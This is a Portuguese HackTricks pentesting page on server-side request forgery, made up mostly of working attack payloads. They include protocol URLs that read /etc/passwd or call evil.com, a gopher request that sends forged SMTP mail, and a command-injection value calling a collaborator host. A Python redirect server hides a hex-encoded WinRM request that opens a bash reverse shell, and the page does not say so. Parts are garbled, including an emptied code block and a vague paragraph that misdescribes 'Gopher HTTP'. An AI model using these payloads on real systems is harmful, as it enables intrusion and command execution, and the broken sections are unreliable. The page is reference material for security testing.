# SSRF (Server Side Request Forgery)
\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\ Acesse hoje mesmo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
A vulnerabilidade de falsificação de solicitação do lado do servidor (também conhecida como SSRF) é uma vulnerabilidade de segurança na web que permite que um atacante **induza a aplicação do lado do servidor a fazer solicitações HTTP para um domínio arbitrário** escolhido pelo atacante. (De [aqui](https://portswigger.net/web-security/ssrf)) ## Capturar SSRF A primeira coisa que você precisa fazer é capturar uma interação SSRF provocada por você. Para capturar uma interação HTTP ou DNS, você pode usar ferramentas como: * **Burpcollab** * [**pingb**](http://pingb.in) * [**canarytokens**](https://canarytokens.org/generate) * [**interractsh**](https://github.com/projectdiscovery/interactsh) * [**http://webhook.site**](http://webhook.site) * [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff) ## Bypass de Domínios na Lista de Permissões Normalmente, você descobrirá que o SSRF só funciona em **certos domínios ou URLs na lista de permissões**. Na página a seguir, você encontrará uma **compilação de técnicas para tentar burlar essa lista de permissões**: {% content-ref url="url-format-bypass.md" %} [url-format-bypass.md](url-format-bypass.md) {% endcontent-ref %} ### Bypass via redirecionamento aberto Se o servidor estiver corretamente protegido, você poderá **burlar todas as restrições explorando um redirecionamento aberto dentro da página da web**. Como a página da web permitirá **SSRF para o mesmo domínio** e provavelmente **seguirá redirecionamentos**, você pode explorar o **redirecionamento aberto para fazer com que o servidor acesse qualquer recurso interno**.\ Leia mais aqui: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf) ## Protocolos ### file:// ``` file:///etc/passwd ``` ### dict:// O esquema de URL DICT é usado para se referir a definições ou listas de palavras disponíveis usando o protocolo DICT: ``` dict://;@:/d::: ssrf.php?url=dict://attacker:11111/ ``` ### SFTP:// Um protocolo de rede usado para transferência segura de arquivos sobre o shell seguro. ``` ssrf.php?url=sftp://evil.com:11111/ ``` ### TFTP:// O Protocolo de Transferência de Arquivos Trivial, funciona sobre UDP. ``` ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET ``` ### LDAP:// Protocolo de Acesso a Diretório Leve. É um protocolo de aplicação usado em uma rede IP para gerenciar e acessar o serviço de informações de diretório distribuído. ``` ssrf.php?url=ldap://localhost:11211/%0astats%0aquit ``` ### Gopher:// Usando esse protocolo, você pode especificar o **IP, porta e bytes** que deseja que o servidor **envie**. Em seguida, você pode basicamente explorar um SSRF para **comunicar-se com qualquer servidor TCP** (mas você precisa saber como falar com o serviço primeiro).\ Felizmente, você pode usar o [Gopherus](https://github.com/tarunkant/Gopherus) para criar payloads para vários serviços. Além disso, o [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) pode ser usado para criar payloads _gopher_ para serviços _Java RMI_. **Gopher smtp** ``` ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a will make a request like HELO localhost MAIL FROM: RCPT TO: DATA From: [Hacker] To: Date: Tue, 15 Sep 2017 17:20:26 -0400 Subject: Ah Ah AHYou didn't say the magic word ! . QUIT ``` **Gopher HTTP** O Gopher HTTP é uma técnica de ataque que explora vulnerabilidades de SSRF (Server-Side Request Forgery) para enviar solicitações HTTP a partir do servidor alvo. Essa técnica permite que um invasor acesse recursos internos da rede, como arquivos, serviços e APIs, através de requisições HTTP feitas pelo servidor. O nome "Gopher" vem do protocolo Gopher, que foi popular na década de 1990 para compartilhar documentos e recursos na internet. No entanto, o Gopher HTTP não está relacionado ao protocolo Gopher em si, mas sim ao uso de URLs com o esquema "gopher://" para explorar vulnerabilidades SSRF. Para realizar um ataque de Gopher HTTP, o invasor precisa encontrar uma vulnerabilidade SSRF em um aplicativo web. Essa vulnerabilidade permite que o invasor controle a URL de destino das solicitações HTTP feitas pelo servidor. O invasor então utiliza uma URL com o esquema "gopher://" para direcionar a solicitação para um servidor controlado por ele. Ao explorar uma vulnerabilidade SSRF com o Gopher HTTP, o invasor pode realizar várias ações maliciosas, como: - Acessar recursos internos da rede, como arquivos e bancos de dados. - Escanear portas e serviços internos. - Atacar outros sistemas e serviços na rede interna. - Extrair informações sensíveis, como credenciais de autenticação. Para se proteger contra ataques de Gopher HTTP e outras vulnerabilidades SSRF, é importante implementar práticas de segurança adequadas, como: - Validar e filtrar as URLs de destino das solicitações HTTP. - Restringir o acesso a recursos internos da rede. - Utilizar listas brancas de URLs permitidas. - Manter os sistemas e aplicativos atualizados com as últimas correções de segurança. No entanto, é importante ressaltar que a melhor maneira de se proteger contra ataques de Gopher HTTP é realizar testes de penetração regulares em seus aplicativos web para identificar e corrigir vulnerabilidades SSRF antes que sejam exploradas por invasores. ```bash #For new lines you can use %0A, %0D%0A gopher://:8080/_GET / HTTP/1.0%0A%0A gopher://:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body ``` **Gopher SMTP - Conexão reversa para 1337** {% code title="redirect.php" %} ```php Now query it. https://example.com/?q=http://evil.com/redirect.php. ``` {% endcode %} ### SMTP De [https://twitter.com/har1sec/status/1182255952055164929](https://twitter.com/har1sec/status/1182255952055164929):\ 1\. Conecte-se com SSRF em localhost:25 smtp\ 2\. A partir da primeira linha, obtenha o nome de domínio interno 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail\ 3\. Procure[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)no github, encontre subdomínios\ 4\. Conecte-se ### Curl URL globbing - Bypassando WAF Se o SSRF for executado pelo **curl**, o curl possui um recurso chamado [**URL globbing**](https://everything.curl.dev/cmdline/globbing) que pode ser útil para contornar WAFs. Por exemplo, neste [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi), você pode encontrar este exemplo de **travessia de caminho via protocolo `file`**: ``` file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt} ``` ## Capturar Solicitações SSRF * Burp Collaborator * [http://requestrepo.com/](http://requestrepo.com/) * [https://app.interactsh.com/](https://app.interactsh.com/) * [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness) ## SSRF através do cabeçalho Referrer Algumas aplicações utilizam software de análise do lado do servidor que rastreia visitantes. Esse software geralmente registra o cabeçalho Referrer nas solicitações, pois isso é de particular interesse para rastrear links de entrada. Muitas vezes, o software de análise realmente visita qualquer URL de terceiros que aparece no cabeçalho Referrer. Isso é feito para analisar o conteúdo dos sites de referência, incluindo o texto âncora usado nos links de entrada. Como resultado, o cabeçalho Referer muitas vezes representa uma superfície de ataque frutífera para vulnerabilidades SSRF.\ Para descobrir esse tipo de vulnerabilidade "oculta", você pode usar o plugin "**Collaborator Everywhere**" do Burp. ## SSRF através dos dados SNI do certificado A configuração incorreta mais simples que permitiria que você se conectasse a um backend arbitrário seria algo parecido com isso: ```nginx stream { server { listen 443; resolver 127.0.0.11; proxy_pass $ssl_preread_server_name:443; ssl_preread on; } } ``` Aqui, o valor do campo SNI é usado diretamente como o endereço do backend. Com essa configuração insegura, podemos **explorar a vulnerabilidade SSRF simplesmente especificando o IP ou nome de domínio desejado no campo SNI**. Por exemplo, o seguinte comando forçaria o Nginx a se conectar a _internal.host.com_: ```bash openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf ``` ## [Upload de arquivo Wget](../file-upload/#upload-de-arquivo-wget-truque-ssrf) ## SSRF com Injeção de Comandos Pode valer a pena tentar um payload como: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` ## Renderização de PDFs Se a página da web estiver criando automaticamente um PDF com algumas informações fornecidas por você, você pode **inserir algum JS que será executado pelo próprio criador de PDF** (o servidor) ao criar o PDF e você poderá abusar de um SSRF. [**Encontre mais informações aqui**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.** ## De SSRF para DoS Crie várias sessões e tente baixar arquivos pesados explorando o SSRF das sessões. ## Funções PHP SSRF {% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} [php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md) {% endcontent-ref %} ## Redirecionamento SSRF para Gopher Para algumas explorações, você pode precisar **enviar uma resposta de redirecionamento** (potencialmente para usar um protocolo diferente, como gopher). Aqui estão diferentes códigos python para responder com um redirecionamento: ```python # First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes from http.server import HTTPServer, BaseHTTPRequestHandler import ssl class MainHandler(BaseHTTPRequestHandler): def do_GET(self): print("GET") self.send_response(301) self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a") self.end_headers() httpd = HTTPServer(('0.0.0.0', 443), MainHandler) httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True) httpd.serve_forever() ``` ```python from flask import Flask, redirect from urllib.parse import quote app = Flask(__name__) @app.route('/') def root(): return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301) if __name__ == "__main__": app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ```
\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\ Acesse hoje mesmo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Bypass de CORS/SOP usando DNS Rebidding Se você está tendo **problemas** para **extrair conteúdo de um IP local** por causa do **CORS/SOP**, o **DNS Rebidding** pode ser usado para contornar essa limitação: {% content-ref url="../cors-bypass.md" %} [cors-bypass.md](../cors-bypass.md) {% endcontent-ref %} ### DNS Rebidding Automatizado [**`Singularity of Origin`**](https://github.com/nccgroup/singularity) é uma ferramenta para realizar ataques de [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Ele inclui os componentes necessários para vincular o endereço IP do servidor de ataque ao nome DNS da máquina de destino e para servir payloads de ataque para explorar software vulnerável na máquina de destino. Confira também o servidor em execução publicamente em [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)\*\*\*\* ## DNS Rebidding + TLS Session ID/Session ticket Requisitos: * **SSRF** * **Sessões TLS de saída** * **Coisas em portas locais** Ataque: 1. Peça ao usuário/bot para **acessar** um **domínio** controlado pelo **atacante** 2. O **TTL** do **DNS** é de **0** segundos (para que a vítima verifique o IP do domínio novamente em breve) 3. É criada uma **conexão TLS** entre a vítima e o domínio do atacante. O atacante introduz o **payload dentro** do **ID da Sessão ou Ticket da Sessão**. 4. O **domínio** iniciará um **loop infinito** de redirecionamentos contra **ele mesmo**. O objetivo disso é fazer com que o usuário/bot acesse o domínio até que ele faça **novamente** uma **solicitação DNS** do domínio. 5. Na solicitação DNS, é fornecido um endereço IP **privado** (por exemplo, 127.0.0.1) 6. O usuário/bot tentará **restabelecer a conexão TLS** e, para fazer isso, ele enviará o **ID da Sessão/Ticket da Sessão** (onde o **payload** do atacante estava contido). Parabéns, você conseguiu fazer com que o **usuário/bot atacasse a si mesmo**. Observe que, durante esse ataque, se você quiser atacar localhost:11211 (_memcache_), você precisa fazer com que a vítima estabeleça a conexão inicial com www.attacker.com:11211 (a **porta deve ser sempre a mesma**).\ Para **realizar esse ataque, você pode usar a ferramenta**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\ Para **mais informações**, confira a palestra onde esse ataque é explicado: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference) ## SSRF às Cegas A diferença entre um SSRF às cegas e um que não é às cegas é que no às cegas você não consegue ver a resposta da solicitação SSRF. Portanto, é mais difícil de explorar, pois você só poderá explorar vulnerabilidades conhecidas. ### SSRF baseado em tempo **Verificando o tempo** das respostas do servidor, pode ser **possível saber se um recurso existe ou não** (talvez leve mais tempo para acessar um recurso existente do que acessar um que não existe) ## Exploração de SSRF em Nuvem Se você encontrar uma vulnerabilidade de SSRF em uma máquina em execução em um ambiente de nuvem, poderá obter informações interessantes sobre o ambiente de nuvem e até mesmo credenciais: {% content-ref url="cloud-ssrf.md" %} [cloud-ssrf.md](cloud-ssrf.md) {% endcontent-ref %} ## Plataformas Vulneráveis a SSRF Várias plataformas conhecidas contêm ou já contiveram vulnerabilidades de SSRF, verifique-as em: {% content-ref url="ssrf-vulnerable-platforms.md" %} [ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md) {% endcontent-ref %} ## Ferramentas ### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap) Ferramenta para detectar e explorar vulnerabilidades de SSRF ### [Gopherus](https://github.com/tarunkant/Gopherus) * [Postagem no blog sobre o Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/) Esta ferramenta gera payloads Gopher para: * MySQL * PostgreSQL * FastCGI * Redis * Zabbix * Memcache ### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [Postagem no blog sobre o uso de SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/) _remote-method-guesser_ é um scanner de vulnerabilidades do _Java RMI_ que suporta operações de ataque para a maioria das vulnerabilidades comuns do _Java RMI_. A maioria das operações disponíveis suporta a opção `--ssrf`, para gerar um payload _SSRF_ para a operação solicitada. Juntamente com a opção `--gopher`, payloads _gopher_ prontos para uso podem ser gerados diretamente. ### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy) SSRF Proxy é um servidor proxy HTTP multithread projetado para direcionar o tráfego HTTP do cliente por meio de servidores HTTP vulneráveis a Server-Side Request Forgery (SSRF). ### Para praticar {% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %} ## Referências * [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery) * [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenha o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\ Acesse hoje mesmo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}